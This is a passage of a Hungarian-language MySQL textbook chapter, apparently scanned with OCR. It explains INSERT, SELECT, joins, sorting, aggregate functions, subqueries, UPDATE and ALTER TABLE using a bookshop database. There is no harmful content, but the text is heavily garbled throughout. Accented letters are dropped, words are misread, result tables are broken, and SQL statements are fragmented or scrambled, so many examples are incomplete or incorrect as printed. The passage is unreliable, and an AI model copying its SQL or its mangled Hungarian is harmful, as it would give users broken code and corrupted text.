stb. helyre pedig a konkrt rtkek mennek. Pldnkban az rtkek idzjelek kz kerltek. A karakterlncokat MySQL-ben mindig egyszeres vagy ktszeres idzjelek kz kell rakni. (Knyvnkben egyszeres s ktszeres idzjeleket egyarnt haszn lunk.) Szmok s drumok esetben nincsen szksg az idzjelekre. Az INSERT utastssal kapcsolarban rdemes nhny rdekessget megemlteni. Az irt megadort rtkek sorban fogjk a tblzat oszlopait kitlteni. Ha csak egyes oszlopokba szeretnnk adatot rakni, vagy msmilyen sorrendben szeretnnk meg hatrozni azokat, az utasts oszlopokra vonatkoz rszben fel kell sorolnunk ezeket az oszlopokat. Pldul: INSERT INTO
vasarlok (nev, varos} VALUES (Melissa Jones', N ar Nar Goon North') ; '
Ez a megkzelts akkor nyer rtelmet, ha csak rszleges adataink vannak egy adott rekordhoz, vagy a rekord egyes mezi nem ktelezen kirlrendk. Ugyanezt a vgeredmnyt rjk el a kvetkez szintakrikval is: INSERT INTO
lakeim varos
=
vasarlok
gyfl hozzadsakor pedig figyelmen kvl hagytuk az oszlopot! Emlkezznk vissza, hogy amikor ltrehoztuk az adatbzist, a vasarloid oszlopot a vasarlok tbla elsdleges kulcsaknt hatrozruk meg, gy ez kiss furcsnak tnhet. A mezt azonbanAUTO _INCREMENT-knt hatrozruk meg. Ez azt jelenti, hogy amikor olyan sort szrunk be, amelyben a mezNULL rtk vagy rtk nlkli, a MySQL az elz rtket automatikusan eggyel megnvelve hozza ltre s szrja be az rtket. Igen hasznos funkcija ez a MySQL-nek. Egyszerre tbb sort is beszrharunk egy tblba. Minden sort zrjeleken bellre kell rni, s a sorokat tartalmaz zrjele ket vesszvel kell egymsrl elvlasztani. AzINSERT utasts nhny tovbbi vltozatban is ltezik. AzINSERT sz utn aLOW _PRIORITY ADELAYED vagy a DELAYED kulcs sz is hasznlhat. Az elbbi azt jelenti, hogy a rendszer vrhat a beszrssal addig, amikor nem olvas adatokat a tblbl. kulcssz azt jelenti, hogy a beszrt adatunk pufferbe kerl. Ha a kiszolgl elfoglalt, folytathatjuk a lekrdezsek mvelet befejezdik. futtatst, nem kell megvrni, amig azINSERT
Kzveclenl ezt kveten opcionlisan hasznlharjuk azIGNORE kulcsszt. Ez azt eredmnyezi, hogy ha olyan sorokat pr blunk beszrni, amelyek dupliklt egyedi kulcsot eredmnyeznek, akkor azokat a rendszer csendben figyelmen kvl hagyja. Egy tovbbi lehetsg azINSERT nosUPDATE utasts vgn azON DUPLICATE KEY UPDATE hasznlata. Ez arra j, hogy egy ltal utastsok sorozatt utastssal (amellyel a fejezet egy ksbbi rszben foglalkozunk) megvltoztassuk a dupliklt rtket.
lthatjuk, amelyek az egyszerre tbbsoros beszrst alkalmazzk. Ezt a kdrszletet a knyv letlthet mellkletnek \l O_
INSERT INTO
(3, (4, (5,
'Michelle Arthur',
INSERT
INTO
3, l, 2,
megrendelesek VALUES 69. 98, 49.99, 74.98, 24.99, '2007-04-02'}, '2007-04-15'}, '2007-04-19'}, '2007-05-01'};
(NULL, 3,
167
34.99),
'Installing
et al.',
24.99),
10
'Caldera OpenLinux
(l,
(2,
2)'
l)'
(3,
(3, (4 ,
l)'
l)' 3);
tartalma messze
<
/path/to/konyv_beszuras.sql
l l
A kvetkez rsekben u utasts minden egyes mellkgt bemutatjuk. Elsr uonban nznk egy olyan, opcionlis mellkgak nlkli lekrdezst, amely nhny elemet vlogat le egy adott tblbl! Eek a elemek jellemzen a tblzat oslo
pa.i. (Lehetnek ugyanakkor MySQL kifejezsek eredmnyei is. Nhny hasnosabb kifejezssel a kvetkez rs vgn megis
merkedhetnk.) A albbi lekrdezs a vasarlok tbla nev s varos oslopnak tartalmt listza ki:
SELECT nev, varos FROM vasarlok;
Amennyiben betltttk a 10.1 pldakd rnintaadatait, illetve vgrehajtottuk a fejezet korbbi rszben bemutatott, kt
INSERT
+-----------------+--------------------+ l nev
Julie Smith Alan Wong Michelle Arthur Melissa Jones Michael Archer
+-----------------+--------------------+
Airport West Box Hill
+-----------------+--------------------+
Lthatjuk, hogy a fenti tbla a megadott tbla ( vasarlok ) kivlastott elemeit ( nev s va ros) tartalmua. Eek a ada tok a vasarlok tbla minden sorbl meg lettek jelentve.
168
10. fejezet
Az oszlopokat a SELECT kulcssz utn tetszleges szmban felsorolhaguk. Szmos tovbbi lehetsg kzl vlasztha runk a lekrdezs kialaktsakor. Nagyon hasznos a dzskerkarakter
10
kivlasztja. Ha pldul a rendeles i_tetelek tbla sszes oszlopt s sort szetetnnk visszakapni, akkor az albbi SQL kdot kellene hasznlnunk:
SELECT
*
rendelesid l 2 3 3 4
mennyiseg 2 l l l 3
+------------+---------------+-----------+
+------------+---------------+-----------+
a megrendelesek sszes oszlopt kivlaszga, m csak azokat a sorokat, ahol a vasarloid rtke 5. Ennek a lekrdezs nek a kimenete:
+------------+------------+--------+------------+
l l l
rendelesid l 4
l l l
vasarloid 5 5
l l l
l l l
+------------+------------+--------+------------+
+------------+------------+--------+------------+
A WHERE mellkg hatrozza meg az adott sorok kivlaszrsra hasznlt felttelt. Jelen esetben azokat a sorokar vlasztor ruk ki, amelyeknek vasa r lo i d-je 5. Az egyszeres egyenlsgjelet az egyenlsg ellenrzsre hasznljuk; figyeljk meg, hogy ez eltr a PHP-beli hasznlattl, s ha egyszerre hasznljuk a kr nyelvet, knnyen sszezavarodharunk! Az egyenlsgen tlmenen a MySQL mveleti jelek s regulris kifejezsek szles skljt tmogatja. A WHERE mellk gakban leggyakrabban hasznlrakat a 10.1 tblzatban talljuk. A lista nem teljes; ha nem talljuk itt, amit keresnk, nzzk meg a MySQL kziknyvben!
10.1
Mveleti jel
> < >= <= = vagy<>
Lers
3
Kt rtk egyenlsgr llaptja meg. Megllapga, hogy az egyik rtk nagyobb-e, mint a msik. Megllapga, hogy az egyik rtk kisebb-e, mint a m sik. Megllaptja, hogy az egyik rtk nagyobb vagy egyen l-e, mint a msik. Megllaptja, hogy az egyik rtk kisebb vagy egyenl-e, mint a msik. Megllaptja, hogy a kt rtk nem egyenl. Megllapga, hogy a mez tartalmaz-e rtket.
os szeg > 60.00 osszeg < 60.00 osszeg >= 60.00 osszeg <= 60.00 mennyiseg
!= o
IS NOT NULL
169
Mveletijel
IS NULL BETWEEN
Nv (ha van)
Plda
lakeim is null osszeg between
Lers Megllaptja, hogy mez nem tartalmaz rtket. Megllaptja, hogy az rtk nagyobb vagy egyenl-e a minimum rtkkel, s kisebb vagy egyenl-e a maximum rtkkel. Megllaptja, hogy az rtk megtallhat-e az adott halmazban. Megllaptja, hogy az rtk nem rallhat meg az adott halmazban. Egyszer SQL mintaillesztssel ellenrzi, hogy az rtk illeszkedik-e egy adott minthoz. Ellenrzi, hogy az rtk nem illeszkedik egy adott minthoz. Ellenrzi, hogy egy rtk illeszkedik-e egy regulris kifejezshez.
O and 60.00
IlO
\.
IN
NOT
IN
LIKE
nev like
(Fred
%")
NOT LIKE nev not like (Fred REGEXP
" % )
nev regexp
A tblzat utols hrom sora a LIKE s a REGEXP kulcsszra hivatkozik. Mindkett a mintailleszrs egy-egy formja. A LIKE egyszer SQL mintailleszrsr alkalmaz. A mintk szablyos szvegbl, illetve a tetszleges szm specilis karaktert helyettest% (szzalk) jelbl s az egyetlen karaktert helyettest_ (alulvons) karakterbl plhernek fel. A REGEXP kulcsszr regulris kifejezshez illeszrsre hasznljuk. A MySQL POSlX-fle regulris kifejezsekkel dolgozik. A REGEXP kulcssz helyett az RLIKE is hasznlhat, a kett egyms szinonimja. A POSlX-fle regulris kifejezseker PHP ben is hasznljuk. Rszleresebben a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezerben olvashattunk rluk. Egyszeren a mveleti jelek s a mintaillesztsi szintakrika hasznlatval tbbfle felttelnek megfelel lekrdezseker hajt harunk vgre, az AND s OR segitsgvel pedig mg sszetettebb szrfelrreleket hozhatunk ltre. Pldul:
SELECT
*
3 OR vasarloid
4;
megrendelesek.osszeg,
megrendelesek.datum
WHERE vasarlok.nev
'Julie Smith'
=
AND vasarlok.vasarloid
megrendelesek.vasarloid;
170
10.
fejezet
10
rendelesid
l l l
csszeg
l l l
datum
+------------+--------+------------+
l l
69.98 2 4 . 99
2007-04-02 2007-05-01
l l
+------------+--------+------------+
rdemes nhny dolgot megemlteni. Elszr is, mivel a lekrdezs vgrehajtshoz kt tbla adataira is szksg van, mind kt tblt ki kell listznunk A kt tbla listzsval az sszekapcsols pust is meghatroztuk - minden bizonnyal anlkl, hogy tudrunk volna rla. A tblanevek kztri vessz az INNER JOIN vagy CROSS JOIN begpelsvel egyenrtk. Az ilyen pus sszekapcsolst szoktk teljes sszekapcsolsnak (full join) vagy a tblk Descartesszorzatnak (Cartesian product) is nevezni. Azt jelenti, hogy "fogd a felsorolt tblkat, s csinlj bellk egy nagy tblt! A nagy tbla sorai a felsorolt tblk sorainak sszes lehetsges kombincijt tartalmazzk, akr van rtelmk, akr nincs!" Ms szavakkal olyan tblt kapunk, amelyben avasarl ok tbla minden sorval a megrendelesek tbla minden egyes sort prostottk, fggetlenl attl, hogy az adott vsrl adta-e le az adott rendelst. Ez a nyers er (brute-force) alap megkzelts az esetek tbbsgben nem tl hasznos. ltalban csak azokat a sorokat szeretnnk ltni, amelyeknek tnyleg van rtelme- pldul egy adott vsrl ltal feladott megrendelseket. gy jutharunk ilyen eredmnyre, ha sszekapcsols i Jelttelt (join condition) rakunk a WHERE mellkgba. Ez a klnleges pus feltteles utasts mutatja meg, hogy mely tulajdonsgok alkotjk a kt tbla kztti kapcsolatot. Jelen esetben az ssze kapcsoJsi felttel:
vasarlok.vasarloid
=
megrendelesek.vasarloid
Ez kzli a MySQL-lel, hogy csak azokat a sorokat rakja az eredmnytblba, ahol a vasarlok tbla gyfl-azonostja megegyezik a megrendelesek tblval. Az sszekapcsoJsi felttel lekrdezshez adsval msmilyen sszekapcsolst kapunk, amelynek pusa: egyensszekapcsols (equi-join). Figyeljk meg, hogy a pont hasznlata teszi egyrtelmv, hogy egy adott oszlop melyik tblbl szrmazik; vagyis a vasarlok.vasarloid a vasarlok tbla vasarloid oszlopt, a megrendelesek. vasarloid pedig a megrendelesek tbla vasar l o id oszlopt jelli. A pont hasznlatra akkor van szksg, ha az oszlop neve nem egyrtelm - vagyis, ha egynl tbb tblban fordul el. Ha a hasznlatot kiterjesztjk, akkor klnbz adatbzisok ugyanolyan nev oszlopainak megklnbztetsre is alkalmas. Pl dnkban a tabla. oszlop megnevezst hasznltuk, de az adatbazis. tabla. oszlop jellssei az adatbzist is meghat rozzuk- pldul azrt, hogy teszteljnk egy, az albbihoz hasonl felttelt:
konyvek.megrendelesek.vasarloid
=
masik_adatbazis.megrendelesek.vasarloid
Ezt a hivatkozsi mdszert a lekrdezsben szerepl minden oszlopnl hasznlhatj uk. Klnsen akkor rdemes ezzel lni, ha lekrdezseink kezdenek sszetett vlni. A MySQL nem ignyli ezt, de emberi szemmel sokkal olvashatbb s kezelhe tbb teszi lekrdezseinket. Lthatjuk, hogy ezt a szokst kvettk az elz lekrdezs tbbi rszben, pldul a
vasarlok. nev '
=
Julie Smith
'
felttel esetben. nev nev oszlop csak a vasarlok tblban fordul el, gy igazbl nem szksges meghatroznunk, hogy melyik tbla oszlopra hivatkozunk. A MySQL soha nem fog sszezavarodni. Az emberek szmra a nev nmagban kds lehet, gy egyrtelmbb teszi a lekrdezs jelentst, ha vasarlok.nev formban hivatkezunk az adott oszlopra.
171
tblbl a kon yvek tbla egy konkrt knyvhez az ISBN -kd ltal juthatunk. Ha ltrehoztuk ezeket a kapcsolatokat, megnzzk, melyik knyv cmben szerepel a java kifejezs, majd visszatrnk azon vsrlk nevhez, akik rendeltek ezekbl a knyvekbl. Nzzk meg azt a lekrdezst, amely mindezt megvalstja:
SELECT vasarlok.nev megrendelesek,
=
10
FROM vasarlok,
rendelesi_tetelek,
konyvek
WHERE vasarlok.vasarloid
megrendelesek.vasarloid
=
rendelesi tetelek.rendelesid
l l
nev
+-----------------+
Julie Smith
+------------ -----+
Lthatjuk, hogy a pldban ngy klnbz tblzaron keresztl kvettk az adatokat, s ha mindezt egyensszekapcsols sal szeretnnk elrni, hrom klnbz sszekapcsoJsi felttelre van szksgnk. ltalnossgban igaz, hogy sszekapcsolni kvnt tblapronknt egy sszekapcsoJsi felttel szksges, gy az sszekapcsoJsi felttelek szma az sszekapcsolni kivnt tblk szmnl eggyel kisebb. Ez az alapszably hasznos lehet a nem igazn mkd lekrdezsek hibakeressnL Ellen rizzk sszekapcsoJsi feltteleinket, s gyzdjnk meg arrl, hogy vgigjrtuk az utat onnan, amit tudunk, oda, amit tudni szeretnnk!
A felttelt
Megfigyelhetjk, hogy az elz pldkban a lekrdezs eredmnye csak azokat a sorokat tartalmazta, ahol egyezst tall runk. Elfordulhat azonban az is, hogy kifejezetten a nem egyez sorokta van szksgnk - pldul azokat a vsrlkat keres sk, akik soha nem rendeltek, vagy azokat a knyveket, amiket soha nem rendeltek. Az ilyen jelleg krdsek MySQL-beli megvlaszolsnak egyik mdszere a bal sszekapcsols hasznlata. Az ilyen tpus sszekapcsols a kt tbla kztti meghatrozott sszekapcsoJsi felttel alapjn keres egyez sorokat. Ha a jobb oldali tbl ban nincsenek egyez sorok, olyan sor addik az eredmnyhez, amely NULL rtkeket tartalmaz a jobb oszlopokban. Nzznk egy pldt:
SELECT vasarlok.vasarloid, FROM vasarlok LEFT vasarlok.nev, megrendelesek.rendelesid JOIN megrendelesek
=
ON vasarlok.vasarloid
megrendelesek.vasarloid;
Ez az SQL lekrdezs bal sszekapcsolst hasznl az gyfelek s a megrendelsek sszekapcsolsra. Lthatjuk, hogy a bal sszekapcsols enyhn eltr szintaktikt alkalmaz az sszekapcsoJsi felttelhez; jelen esetben az sszekapcsoJsi felttel az SQL utasts specilis ON mellkgba kerl. Ennek a lekrdezsnek a kvetkez az eredmnye:
+------------+-----------------+------------+
vasarloid
l l l l l
nev
l
Smith Smith
rendelesid
+------------+-----------------+------------+
3 3 4 5
Julie Julie
l l
4 NULL
l NULL
+-----------+-----------------+------------+
Ez a kimenet csak azoknl a vsrlknl tartalmaz rendelsazonostt ( rendelesid ) , akiknek van rekordja a megrendels rblban, azaz volt megrendelsk. Ha csak azokat a vsrlkat szetetnnk ltni, akik mg semmit sem rendeltek, NULL rtkeket kell keresnnk a jobb tbla (jelen esetben a rendeles id) elsdleges kulcsmezjben, mivel a valdi sorokban az nem lehet NULL:
SELECT vasarlok.vasarloid, LEFT vasarlok.nev FROM vasarlok
JOIN
megrendelesek
17:l
l O. fejezet
USING
(vasarloid) NULL;
WHERE megrendelesek.rendelesid IS
10
Az eredmny:
+------------+-----------------+
l l l
vasarloid
l l l
nev
+------------+-----------------+
4 5
+------------+-----------------+
Figyeljk meg azt is, hogy ez a plda msmilyen szintaktikt hasznl az sszekapcsalsi felttelhez! A bal sszekapcsolsok vagy az els pldban ltott ON, vagy a msodik pldban szerepl U SING szintaktikval mkdnek. Meg kell emltennk, hogy az utbbi nem hatrozza meg. hogy melyik tblbl jn az sszekapcsalsi tulajdonsg; ppen ezrt a US ING hasznlat hoz arra van szksg. hogy a kt tbla oszlopnak ugyanaz legyen a neve. Az ilyen jelleg krdseket egymsba gyazott lekrdezsekkel (subquery) is megvlaszolhatjuk. Ezekkel a fejezet egy ksb bi rszben rszletesen foglalkozunk.
v,
=
m,
konyvek AS k
Miutn meghatroztuk a hasznlni kivnt tblkat, egy AS mellkg hozzadsval deklarljuk az adott tbla aliast. Az aliasokat oszlopokhoz is hasznlharjuk - erre rvidesen visszatrnk mg. amikor az sszest fggvnyeket vizsgljuk meg. Amikor egy tblzatot nmagval szeretnnk sszekapcsolni, tblaaliasokat kell hasznlnunk. A feladat bonyolultabbnak s egzotikusabbnak hangzik, mint amilyen valjban. Tobbek kztt akkor rud hasznos lenni, amikor egy tblban ugyanolyan rtk sorokat keresnk. Ha pldul olyan vsrlkat keresnk, akik ugyanabban a vrosban laknak - tegyk fel, hogy olvas kre szetetnnk ltrehozni -, kt klnbz aliast adharunk ugyanannak a tblnak ( vasarlok ) :
SELECT vl.nev, v2.nev, vl.varos FROM vasarlok AS vl, vasarlok AS v2
Itt tulajdonkppen gy tesznk, mintha a vasarlok kt klnbz tbla, cl s c2 lenne, s sszekapcsolst hajtunk vgre a Varos oszlopon. Figyeljk meg. hogy a msodik felttelre ( cl.nev hogy ne nmagukkal prostsuk a vsrlkat!
sszefoglals: sszekapcsolsok
A 10.2 tblzatban az elzekben bemutatott klnbz sszekapcsols-tpusok sszefoglalst lthatjuk. Lteznek tovbbi tpusok is, m az itt szereplk a legfontosabbak, a leggyakrabban hasznltak.
10.2 tblzat: Nv
Descarres-szorzat
Az sszekapcsolsban rszt vev sszes tbla minden sornak minden lehetsges kombi ncija. A tblanevek kz vesszt rva, W HERE mellkgat nem meghatrozva hozhat ltre.
Teljes sszekapcsols
173
Lers
Ugyanaz, mint az elz. gy is ltrehozhat, hogy az sszekapcsolni kivnt tblk neve kz a CROSS
JOIN
kulcsszavakar rjuk.
JOIN
kulcsszavakkal is meghat
10
rozhat. W HERE felttel nlkl a reljes sszekapcsolssal egyenrtk. ltalban megha trozunk W HERE felttelt, hogy valdi bels sszekapcsolss tegyk. Egyensszekapcsols Bal sszekapcsols Felrteles kifejezst
=
tblk sorair. SQL-ben ez a WHERE mellkgar tartalmaz sszekapcsols. Tblk kztt prbl sorokat prostani, s a nem passzol sorokar ki. SQL-ben a
LEFT JOIN
rtkekkel tlti
SELECT
urasrs
ORDER BY
mellkgr kell hasznlnunk. Ez a funkci kivlan alkalmas arra, hogy a kimeneret emberi szem ltal jl olvashat formban mellkg a
SELECT
mellkgban felsorolt egy vagy tbb oszlop szerint rendezi a sorokat. Vegyk pldul
albbi lekrdezst:
lakeim vasarlok
ORDER BY nev;
l nev
lakeim
+-----------------+ --------------------+
l Michelle Arthur
+-----------------+--------------------+
Figyeljk meg, hogy a nevek jelen esetben - mivel az angolszsz terleten hasznlt keresztnv-vezetknv formban troljuk ket - a kereszrnv alapjn vannak rendezve! Ha vezetknv alapjn szerernnk rendezni, kt mezben kellene trolni a neveket. Az alaprtelmezett rendezs az emelked sorrend (a-tl z-ig vagy numetikusan emelked). Ha szeretnnk, az ASC kulcssz segtsgvel kifejezetten megadharjuk ezt:
SELECT FROM nev, lakeim vasarlok nev ASC;
ORDER BY
DESC
(descending, azaz cskken) kulcssz hasznlatval pont fordrott, azaz cskken sorrendbe rendezhernk:
lakeim
SELECT FROM
nev,
ORDER BY
Tbb oszlop szerint is rendezhernk. Az oszlopnevek helyett hasznlharunk aliasokat vagy a sorszmukat is (a 3 pldul a tbla harmadik oszlopt jelenti).
174
10. fejezet
10.3 tblzat: A
10
Nv
AVG(oszlop) COUNT(elemek)
A megadort oszlopban tallhat legkisebb rtk. A megadott oszlopban tallhat legnagyobb rtk. A megadott oszlopban tallhat rtkek szrsa. Ugyanaz, mint az STD(oszlop). A megadort oszlopban rallhat rtkek sszege.
Nzznk nhny pldt; kezdskppen vizsgljuk meg az imnt emltert krdst! A megrendelsek tlagrtkt a kvetkez kppen szmthatjuk ki:
SELECT avg(osszeg) FROM megrendeles;
l l
avg(osszeg)
+-------------+
54.985002
+-------------+
BY
dul gyflszmonknt - tekintsk meg az tlagos rendelsi rtket. Ebbl megtudhatj uk, me!y vsrlink adjk a legnagyobb
Ha a GROUP
BY
a tbla sszes rendelsi rtknek tlagt adn, a lekrdezs az egyes vsrlkhoz (pontosabban az egyes gyfl-azonostkhoz) tartoz tlagos rendelsi sszegrl tjkoztat:
+------------+-------------+
vasarloid
avg(osszeg)
+------------+-------------+
l l l 2 3 l l
+------------+-------------+
Egy dolgot fontos megemltennk a csoportost s sszest fggvnyek hasznlata kapcsn: ha ANSI SQL-ben sszest fggvnyt vagy GROUP
BY
BY
mellkgban megnevezett oszlopokat tartalmazhatja. Ugyangy, ha valamely oszlopot hasznlni kvnjuk a GROUP gban, azt a SELECT mellkgban is szerepeltetni kell. A MySQL kicsivel nagyobb szabadsgot enged irt szmunkra. Tmogatja a
mellk
lehetv teszi, hogy a SELECT mellkgbl kihagyjuk azokat az elemeket, amelyekre valjban nincs szksgnk. Az adatok csoportostsa s sszestse mellett arra is lehetsgnk nylik, hogy ellenrizzk egy sszests eredmnyt. Erre a HAVING mellkgat hasznljuk. Kzvetlenl a GROUP
BY
mellkg, amely csak csoportokra s sszestsekre vonatkozik. Gondoljuk tovbb az elz pldt! Ha azt szeretnnk kiderteni, hogy melyik vsrl tlagos rendelsi sszege haladja meg az 50 dollrt, az albbi lekrdezssei tudhatjuk meg ezt:
SELECT vasarloid, FROM megrendelesek AVG(osszeg)
175
50;
Jegyezzk meg, hogy a HAVING mellkg csoportokra vonatkozik! A fenti lekrdezs az albbi eredmnyt hozza:
+------------+-------------+
10
l vasarlaid l 2
l l
avg(asszeg)
+------------+ -------------+
74.980003
+------------+-------------+
3;
A kvetkezkppen olvashat ez a lekrdezs:"Vlaszd ki az gyfelek nevt, md a kimenet msodik sortl kezdve adj vissza hrom sort!" rdemes megjegyezni, hogy a sorok szmozsa nullval kezddik; ez azt jelenti, hogy a kimenet els sora
a nulladik
Ez a funkci igen hasznos pldul akkor, amikor egy vsrl webes termkkatalgust bngsz, s oldalanknt tz rucikket szeremnk megjelenteni a szmra. Jegyezzk meg azonban, hogy a LIMIT nem rsze az ANSI SQL-nek! MySQL kiterjesz ts, gy hasznlata esetn SQL kdunk elveszti kompatibilitst az egyb relcis adatbzis-kezel rendszerek tbbsgveL
SELECT vasarlaid,
(SELECT
MAX(asszeg)
FROM megrendelesek);
l vasarlaid l 2
l l
asszeg
+------------+--------+
74.98
+------------+--------+
Ebben az esetben az egymsba gyazott lekrdezs egyetlen rtket ad vissza (a maximlis rendelsi sszeget), amit aztn a kls lekrdezs sszehasonltsban hasznlunk fel. Kivl pld:ija ez az egymsba gyazott lekrdezsek alkalmazsnak, mivel ezt a konkrt lekrdezst ANSI SQL sszekapcsolsok hasznlarval nem lehet elegnsan reproduklni. Ugyanezt az eredmnyt adja azonban az albbi sszekapcsolsos lekrdezs is:
SELECT vasarlaid, asszeg FROM megrendelesek ORDER BY asszeg DESC
LIMIT
l;
176
10. fejezer
Mivel ez a lekrdezs a LIMIT kulcsszr hasznlja, nem kompatibilis az RDBMS-ek rbbsgvel, de MySQL-ben az egy msba gyazorr lekrdezses vltozarnl hatkonyabban hajtdik vgre. Az egyik legfbb oka annak, hogy MySQL-ben sokig nem hasznlharrunk egymsba gyazorr lekrdezseker, az volt, hogy kevs olyan dolog van, amir nem lehet.nlklk megvalsrani. Technikailag ltrehozharunk egyerlen, szablyos ANSI SQL lekrdezst, amely ugyanazt eredmnyezi, m egy kevsb hatkony, MAX-CONCAT nev rrkkre pl. Az egymsba gyazorr lekrdezsek rtkeit minden szablyos sszehasonlr mveleri jellel hasznlhatjuk. Nhny kln leges mveleri jel is lrezik az egymsba gyazorr lekrdezsekhez, ezeker a mosr kvetkez rszben muraguk be.
ANY
IN SOME
Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba gyazorr lekrdezsben lv brmely sorra igaz. Az ANY-vel egyenrtk. Az ANY aliasa; bizonyos esetekben ez jobban hangzik az - ango lul rt - emberi flnek. Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba gyazorr lekrdezsben lv minden sorra igaz.
Az IN kivrelvel a fenti mveleri jelek csak sszehasonlr opertor urn jelenhernek meg. Az IN-ben gymond mr benne van az sszehasonlr opertora (=).
Ez a lekrdezs egyszerre pldzza a korrellt egymsba gyazott lekrdezsek s az egymsba gyazorr lekrdezsek utols klnleges mveleri jeinek, az EXI STS-nek a hasznlatr. Azokar a knyveker adja vissza, amiker mg soha nem rendeltek meg. (Ez ugyanaz az informci, amihez korbban bal sszekapcsols hasznlarval jurorrunk.) Figyeljk meg, hogy a bels lekrdezs csak a FROM listban tartalmazza a rendelesi_tetelek tblt, de a konyvek. isbn oszlopra hivatkozik! Ms szavakkal ezt azt jelenti, hogy a bels lekrdezs a klsben lv adatra hivatkozik. Ez egybknt a korrellt egymsba gyazorr lekrdezs defincija: olyan bels sorokar keresnk, amelyek megegyeznek (vagy - mint jelen esetben - nem egyeznek meg) a kls sorokkal. Az EXISTS opertor visszatrsi rtke akkor igaz, ha vannak egyez sorok az egymsba gyazorr lekrdezsben. Ebbl kvetkezik, hogy a NOT EXISTS visszatrsi rtke pedig akkor igaz, ha nincsenek egyez sorok az egymsba gyazorr lekr dezsben.
volt (gy volt ez az elz, az EXI STS mveleri jelet hasznl pldban is). A soros egymsba gyazott lekrde
zsek (row subquery) reljes sort adnak vissza, amit azutn sszehasonltharunk a kls lekrdezsben szerepl ms teljes sorokkal. Ezt a mdszert jellemzen arra hasznljuk, hogy olyan sorokat keressnk valamely rblban, amelyek egy msik-
177
ban is megtallhatk. A knyves adatbzisban nem tudunk erre j pldt mutatni, de az ltalnos szintaktika az albbihoz hasonl:
SELECT cl, c2, c3 FROM tl WHERE (cl, c2, c3) IN (SELECT cl, c2, c3 FROM t2);
10
AS box_hill_customers;
Lthatjuk, hogy az egymsba gyazott lekrdezs itt a FROM mellkgba kerlt. Rgtn az egymsba gyazott lekrdezs zr zrjele utn aliast kell adnunk az egymsba gyazott lekrdezs eredmnynek. Ezt kveten a kls lekrdezsben ugyangy kezdhetjk, mint brmilyen ms tblt.
A dolog lnyege, hogy a t abla_neve tblt frisstjk gy, hogy a megnevezett oszlopokhoz nem konkrt rtket, hanem mveletet runk. A mvelet elvgzsnek eredmnye kerl a mezbe rtkknt (lsd lejjebb a pldt!). WHERE mellkg hasznlatval adott sorokra korltozhatjuk az UPDATE utasts hatst, LIMIT mellkggal pedig az rintett sorok szmt korltozhatjuk le; ha pldul csak az els tz sort kvnjuk frissteni, elszr is valamilyen sorrendbe kell rakni ket. A LOW_
PRIORITY s az IGNORE, amennyiben megadjuk ket, ugyangy mkdnek, mint az INSERT utasts esetn.
Nzznk nhny pldt! Ha 10 szzalkkal szeretnnk emelni minden knyv rt, akkor WHERE mellkg nlkl hasznl hatjuk az UPDATE utastst:
UPDATE konyvek SET ar
=
ar*l.l;
Ha viszont csak egyetlen sort szeretnnk mdostani, pldul egy vsrl lakcmt frisstennk, a kvetkezkppen tehetjk meg:
UPDATE vasarlok SET lakeim
=
WHERE vasarloid
4;
[,
valtoztatas
rdemes megjegyezni, hogy ANSI SQL-ben ALTER TABLE utastsonknt csak egy mdostst hajthatunk vgre, de a MySQL tetszleges szm vltoztatst engedlyez. Brmelyik mdostsi mellkgat hasznlhatjuk (egyszerre tbbet is), hogy klnbz szempontok szerint mdostsuk a tblt. Amennyiben megadjuk az IGNORE mellkgat, s olyan mdostst prblunk meg vgrehajtani, amely dupliklt elsdleges kulcsokat eredmnyez, akkor az els bekerl a mdostott tblzatba, s a tbbi tldik. Ha nem adjuk meg (ez az alaprtel mezett md), akkor a mdosts nem kvetkezik be, s a tbla visszatr a mdostsi ksrlet eltti llapotba. Az ezzel az utastssal vgrehajthat, klnbz tpus mdostsokat a 10.5 tblzatban lthatjuk.
178
10. fejezet
10
Szintaktika
ADD [COLUMN] oszlop_leiras [FIRST
Lers"
AFTER oszlop ]
j oszlopot szr be a megadott helyre (ha nincs hely meghatrozva, akkor mint a CREATE utasts esetben- a nevet s tpust kell megadnunk.
az
oszlop a tbla vgre kerl). Fontos, hogy az oszlop_leiras-nl- ppgy, Egy vagy tbb j oszlopot szr be a tbla vghez. Indexet ad a tbla megadott oszlophoz vagy oszlopaihoz. A megadott oszlopot vagy oszlopokat a tbla elsdleges kulcsv teszi. A CONSTRAl NT utasts kls kulcsot hasznl tblkhoz val. Tovbbi rsz letekrt lsd a Halad MySQL-programozs cm 13. fejezetet! Egyedi indexet ad a tbla meghatrozott oszlophoz vagy oszlopaihoz. A CONSTRAINT jells kls kulcsokat hasznl InnoDB tblkhoz val. To vbbi rszletekrt lsd a 13. fejezetet! Kls kulcsot ad InnoDB tblhoz. Tovbbi rszletekrt lsd a 13. fejezetet!
ADD [COLUMN] (oszlop_leiras, oszlop_leiras, ...) ADD INDEX [index] (oszlop, ... ) ADD [CONSTRAINT [szimbolum]] PRIMARY KEY (oszlop, ... ) ADD UNIQUE [CONSTRAINT
[szimbolum]] index] (oszlop, ... ) ADD [CONSTRAINT [szimbolum]] FOREIGN KEY oszlop, ...) definicioja] [index] (index [hivatkozas
ALTER [COLUMN] oszlop {SET DEFAULT ertek l DROP DEFAULT) CHANGE [COLUMN] oszlop uj oszlop leiras MODIFY DROP [COLUMN] oszlop_leiras
Alaprtelmezett rtket ad egy adott oszlopnak, vagy eltvoltja azt. gy mdostja az oszlop ot, hogy az a megadott lerst kapja. Jegyezzk
-
meg, hogy ez a szintaktika alkalmas az oszlopnevek megvltoztatsra, mivel az oszlop _leiras tartalmazza az oszlopneved A CHANGE-hez hasonl. Oszloptpusok, nem pedig oszlopnevek megvltozta tsra alkalmas. Trli a megnevezett oszlopot. Trli az elsdleges kulcsot (de az oszlopot nem). Trli a megnevezett indexet. Trli a kls kulcsot (de az oszlopot nem). Kikapcsolja az indexfrisstst. Bekapcsolja az indexfrisstst.
[COLUMN] oszlop
DROP PRIMARY KEY DROP INDEX index DROP FOREIGN KEY kulcs DISABLE KEYS ENABLE KEYS RENAME [AS] uj tabla_nev
tnevezi a tblt. jra ltrehozza a tblt gy, hogy annak sorai adott oszlop szerint vannak rendezve. (Figyelem: ha elkezdjk mdostani a tblt, a sorok nem tartjk a korbbi rendezst!)
ORDER BY oszlop_nev
CONVERT TO CHARACTER SET cs COLLATE c [DEFAULT] COLLATE c DISCARD TABLESPACE IMPORT TABLESPACE tabla tulajdonsaga1 CHARACTER SET cs
